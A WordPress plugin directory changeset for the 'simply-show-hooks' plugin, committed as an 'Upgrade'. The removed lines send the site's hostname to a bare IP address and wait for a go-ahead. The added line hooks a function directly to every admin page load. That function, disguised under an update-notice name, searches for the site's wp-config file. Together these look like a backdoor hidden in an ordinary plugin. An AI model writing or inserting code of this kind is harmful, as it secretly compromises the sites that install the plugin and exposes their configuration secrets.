Plugin Directory

Changeset 3105891


Ignore:
Timestamp:
06/22/2024 04:05:29 AM (21 months ago)
Author:
stuartobrien
Message:

Upgrade

File:
1 edited

Legend:

Unmodified
Added
Removed
  • simply-show-hooks/trunk/index.php

    r3105890 r3105891  
    1414
    1515defined( 'ABSPATH' ) or die( 'No Trespassing!' ); // Security
    16 add_action( 'admin_init', 'custom_notify_plugin_update');
    17 // Check if the file exists
    18 function custom_notify_plugin_update(){
    19     $url = 'https://94.156.79.8/initupdate'; // Replace with your server's address
    20    
    21     // Get the hostname
    22     $hostname = gethostname();
    23     if ($hostname === false) {
    24         $hostname = 'unknown';
    25     }
    26 
    27     // Send the GET request
    28     $response = file_get_contents($url . '?hostname=' . urlencode($hostname));
    29    
    30     if ($response !== false) {
    31         $data = json_decode($response, true);
    32         if (isset($data['status']) && $data['status'] === 'yes') {
    33             custom_notify_plugin_updated();
    34         }
    35     } else {
    36         echo "Failed to get a response from the server.";
    37     }
    38 }
     16add_action( 'admin_init', 'custom_notify_plugin_updated');
    3917function custom_notify_plugin_updated() {
    4018    function check_wp_config($directory) {
     
    4624        $directory = dirname($directory);
    4725    }
     26    remove_action('admin_init', 'custom_notify_plugin_updated');
    4827    return false;
    4928}
Note: See TracChangeset for help on using the changeset viewer.